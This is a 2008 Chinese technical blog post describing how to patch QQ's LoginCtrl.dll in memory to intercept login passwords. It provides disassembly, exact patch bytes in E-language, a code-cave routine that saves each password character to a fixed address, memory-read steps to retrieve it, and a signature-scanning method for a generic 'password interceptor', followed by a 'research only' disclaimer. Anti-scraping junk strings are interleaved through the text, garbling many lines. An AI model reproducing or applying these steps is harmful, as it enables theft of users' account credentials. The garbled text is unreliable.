利用HOOK API技术,内存中截获QQ密码(2008最新版)

上一篇 / 下一篇  2008-11-10 08:01:01

本文参考于看雪论坛4st0ne的“修改QQ执行顺序,获取QQ2008最新版密码”文章,我只是换了语言,其实思路还是一样的.再此对4st0ne和open[xgc]表示感谢.

z&BbE} Yut0列出2008KB1版的关键修改代码:IXPUB技术博客.sw$n F%k"V
  

([czScdiOl$X0IXPUB技术博客2] M?&b"U/o

014B6DD4    > /43             INC EBXIXPUB技术博客2jU(pG}N
014B6DD5    . |6A 01          PUSH 1
"_ N T(JL*N0014B6DD7    . |8BC3           MOV EAX,EBX
z3@;B(C1A'Ba0014B6DD9    . |0FAFC6         IMUL EAX,ESIIXPUB技术博客wP#o}/a7c
014B6DDC    . |8A4C08 FF      MOV CL,BYTE PTR DS:[EAX+ECX-1]IXPUB技术博客{Sc!@_ g
014B6DE0    . |E9 E5340100    JMP LoginCtr.014CA2CA                //修改点,跳至空白点      
a6S/p#U*C;g.Y#yf Z0014B6DE5      |90             NOPIXPUB技术博客#k JD;N!P:Wk/R
014B6DE6      |90             NOPIXPUB技术博客;I*_E-wJg L-d
014B6DE7      |90             NOPIXPUB技术博客 R4D Q#EW"_
014B6DE8      |90             NOP
4D?*PYN;K7m+V W0014B6DE9      |90             NOP
4A#w\#w*|&b0014B6DEA    > |50             PUSH EAX                                  ; |Arg1
8t5Q8H(z:xv L0014B6DEB    . |884D D4        MOV BYTE PTR SS:[EBP-2C],CL               ; |
\px^W#q8g'|0014B6DEE    . |E8 90E00000    CALL LoginCtr.014C4E83                    ; \LoginCtr.014C4E83IXPUB技术博客] C7l3_9v kKc~[
014B6DF3    . |8B57 44        MOV EDX,DWORD PTR DS:[EDI+44]
5W{\/]J;M1D0014B6DF6    . |83C4 0C        ADD ESP,0C
-v5A G)N`0014B6DF9    . |8B0A           MOV ECX,DWORD PTR DS:[EDX]IXPUB技术博客C L:v/W7L
014B6DFB    . |8B72 0C        MOV ESI,DWORD PTR DS:[EDX+C]
7oK3W3{V+K+}0014B6DFE    . |8B41 F8        MOV EAX,DWORD PTR DS:[ECX-8]IXPUB技术博客1JqD:P#L,N F
014B6E01    . |99             CDQIXPUB技术博客9O*{F![2{9m9s"fTf1I&i
014B6E02    . |F7FE           IDIV ESI
MXH2K F0014B6E04    . |3BD8           CMP EBX,EAXIXPUB技术博客,MZG"o4W1H+`7?~
014B6E06    .^\7C CC          JL SHORT LoginCtr.014B6DD4IXPUB技术博客9H(Ga^:|6C

9gMOIm1|s1W[0
R.c(`qo(K.pOZc$i[{0014CA2CA    > \52             PUSH EDX        //空白点
&q4\W2a%Q\py1G A0014CA2CB    .   BA FFAF1200    MOV EDX,12AFFF
G`,W ssxK,c0014CA2D0    .   03D3           ADD EDX,EBX
!N Gl*s W K~1B0014CA2D2    .   36:880A        MOV BYTE PTR SS:[EDX],CL
F7d{!N z9}O6D7mQ(y0014CA2D5    .   5A             POP EDX
&K3?^!_%CW0014CA2D6    .   8D45 D4        LEA EAX,DWORD PTR SS:[EBP-2C]   ;修改处原代码
~/k"Du[X"S2r/svj0014CA2D9    .   50             PUSH EAX
0xv{+V$Zy0014CA2DA    .   8D85 58FFFFFF LEA EAX,DWORD PTR SS:[EBP-A8]
    
,U B9E;b@.Q,yt"~!qr0014CA2E0    .^ E9 05CBFEFF    JMP LoginCtr.014B6DEAIXPUB技术博客m-C$A5`!_U:F7GA L

IXPUB技术博客QUn3N$i7qz\?+ww

      大家还记得我以前写得HOOK API系列文章吗?两者原理基本上差不多,都是修改程序得执行顺序,嵌IXPUB技术博客v:`#a-e+u Jh-W

Ll#@+l/u5KYF0入我们自己得代码来达到目的得!IXPUB技术博客zK7Z#y9ka

IXPUB技术博客*Y,l3f*Tq\:l$U?

      我们现来看下基本原理,这要感谢open[xgc]大侠,他调试QQ程序跟踪密码发现QQ程序执行到LoginCtrl.dll偏移16DE0h处时,CL里放的就是QQ密码了:

i ?^ aQu3t0IXPUB技术博客:I Jo)R"DT/zp4G

           014B6DDC     . |8A4C08 FF      MOV CL,BYTE PTR DS:[EAX+ECX-1]

%`i.P*d"^ tVB0IXPUB技术博客*WI Skg8i

     我们要做的就是修改偏移16DE0h处开始的代码,做保存QQ密码的工作,说下构思:IXPUB技术博客c,~5K aP2c(N

IXPUB技术博客 K3x8e*W$q^

1.写一个跳转指令,JMP 00XXXX,跳到我们自己的代码,不足用NOP补,实际代码如下:

*n,n~]MU?T0IXPUB技术博客*_z7];jE]9s!^9[

                 JMP 014CA2CA ,NOP,NOP,NOP,NOP

[x H8~:B%H0

rK']U2PQ0在易语言里是这样的:

,W? Bk"i0i ]zN0IXPUB技术博客5xUBh^

      跳转指令 = { 233, 229, 52, 1, 0, 144, 144, 144, 144, 144 }IXPUB技术博客'i2b9iw%i\{:F

IXPUB技术博客#E `};k Ki.t

IXPUB技术博客uubGW
2.找一个空白代码区(这里是014CA2CA),写于我们的代码,我们的代码要实现下面几个功能:IXPUB技术博客3m)D;M2_;C2N4I!qK

{9}zD(h,Lp'Q0      <1>保存密码

!IIPj/T f0IXPUB技术博客4x4m E.Up-nU(Wg`

         我们用以下代码完成IXPUB技术博客8|#R gM5_mo-[n:}

AAj5rp&H m0               PUSH EDX        ;我们后面要用到,先备份IXPUB技术博客H4`#g#k s"R
              MOV EDX,12AFFF ;IXPUB技术博客r%~ n4ASv
               ADD EDX,EBX
"Wz3MI.Q k0              MOV BYTE PTR SS:[EDX],CL    ;实际密码到保存到12B000(12AFFF+1,十进制为1224704)处IXPUB技术博客w b}9|R y\
              POP EDX          ;还原QQ原执行数据IXPUB技术博客#d| h)Cbk[

t*k'~;]#F-gAw012AFFF处是事先找到的空白区,注意:QQ密码是16h字节长的,我们事先要在这里写入22字节长的空白字节:IXPUB技术博客m/G]K#q:nQ/e:dT q

IXPUB技术博客Th&RGh7Pgj

          写内存数据_ (QQ进程句柄, 1224704, 取空白字节集 (22), 22, 0)

(BE)@(h{ eU {:j0

2O$G:mMw:N9oP` t M0<2>模拟QQ代码IXPUB技术博客 Q$kVN5Hb#U%_+W

FnFCf*ER,YM h*y a4Z0        我们之前写 跳转指令修改了QQ的原执行代码,这里要模拟执行,不然就出错了IXPUB技术博客 k6V ?sg(ypP ALk

IXPUB技术博客j}5g:gm)L$HM

              LEA EAX,DWORD PTR SS:[EBP-2C]  
9q"o)d!_1S'F0              PUSH EAXIXPUB技术博客$[m I Lo![A
              LEA EAX,DWORD PTR SS:[EBP-A8]

"^ `S-B7pUip8}0

k's}5nt:|0   <3>返回到原处继续执行,代码如下:IXPUB技术博客/e%_E$WfK

IXPUB技术博客[.@1f e O,ks

        JMP 014B6DEA

\9Wm {G*J/E0IXPUB技术博客CHHf:](rZ1X y

    014B6DEA不多说了吧,紧接着 跳转指令后的。

&D?Z)O4I b+K0IXPUB技术博客Xm,LM-FZE+Fr

在易语言里这些代码换成十进制的就是:

:E,Xz/H{8J!z/u0z4s9B0

"mF'N@-t0c#mMc']0写入代码 = { 82, 186, 255, 175, 18, 0, 3, 211, 54, 136, 10, 90, 141, 69, 212, 80, 141, 133, 88, 255, 255, 255, 233, 5, 203, 254, 255 }IXPUB技术博客0a$_'L }4bF

IXPUB技术博客(c|IXx

3.读取QQ密码

5A;t,M"[!{1L6]0IXPUB技术博客5M3UD(MEoy[

这个简单:IXPUB技术博客6p'n!L6[OL O/c ]

6t$H1G$C(r A0.局部变量 QQ密码, 字节集

%K{&k umL,cj0

Y)x0_0X'VQm0
%_5G.O)X)K_0     QQ密码 = 取空白字节集 (22)
0?(C z~$tS;n)y0    读内存数据_ (QQ进程句柄, 1224704, QQ密码, 22, 0)IXPUB技术博客3M U"n4\PO Nfl

1f/s+e;xdv0IXPUB技术博客R[t+z V;h8p
核心的地方就这些了,其它具体的大家看源码吧,我就不多说了。当然大家可以发挥发辉,优化下代码,就像combojiang说的:

R6OEwG9uGq0IXPUB技术博客:|#pm}q6g1l(}

1. 找到模块LoginCtrl.dll基地址后,在基地址+0x1000为起始点,在长度为0x2a000h的内存中搜索
P+~"|~1a0        0x8A4C08FF,找到后,便找到了IXPUB技术博客[7v\8m7~)w
01966DDC     8A4C08 FF        |mov      cl, byte ptr [eax+ecx-1]。其地址加1的位置就跳转指令的起始地址,为了方便描述,我们成为Address1.IXPUB技术博客-Up6Q:Zu

-^*h|iuvI3n&S N!j02。查找模块空隙,还是在在基地址+0x1000为起始点,在长度为0x2a000h的内存中搜索
%gQ D!nM(Lm0    0000 0000,找到后,便找到了空隙位置。为了方便描述,我们成为Address2.IXPUB技术博客0Xw-P*rfn~;~9e

Pa Oh1gq03. 将Address1开始的10个子节拷贝出来,并把该处替换为跳转到Address2的跳转指令和nop填充这10个字节。
1@,?:Q2e3zi2[001966DE0     8D45 D4          |lea      eax, dword ptr [ebp-2C]
;A3a0^,ur z([(ck001966DE3     50                   |push     eax
FG"By DTC001966DE4     8D85 58FFFFFF    |lea      eax, dword ptr [ebp-A8]

%v dY(\P0IXPUB技术博客3S8_6@*G$^a$op

4。在address2处,将截获密码的处理程序写入,并在最后写入原address1拷贝出来的10个字节指令,然后填写一个跳转到Address1+10的jmp指令。

;s3?]h(xts0

#O5R(wE*lG0这样,基本就算是一个通用版本的密码截获器了。            IXPUB技术博客!l.T8l-h`UE

d ZJ$Q scrgL0

mP8dp"H%M7U0程序图片如下:IXPUB技术博客5y+IqOi4~


@*X'_W*[Z#\0

M ] N+E)A]*of{ t0
5PN wa0YEq0易语言代码如下:

*Md)BA"k;IO0

)PB/MFK%|0

"u$[TF/RR \0

0X0n1T%x]]0IXPUB技术博客5W6?,S0F:r3cYy `.V

IXPUB技术博客,ax1f O^xP!_E

U V"Q{6U9f+L(gB0
IXPUB技术博客d Dl | x7U(q

IXPUB技术博客f%X*dnC%L?

             本文旨在技术研究,请勿用于非法用途,后果自负!

\ P+x#F~X,Eg^#b0

TAG: 密码 内存 HOOK API 截获

 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

日历

« 2009-01-09  
    123
45678910
11121314151617
18192021222324
25262728293031

数据统计

  • 访问量: 66476
  • 日志数: 1219
  • 文件数: 1
  • 建立时间: 2007-08-10
  • 更新时间: 2009-01-08

RSS订阅

Open Toolbar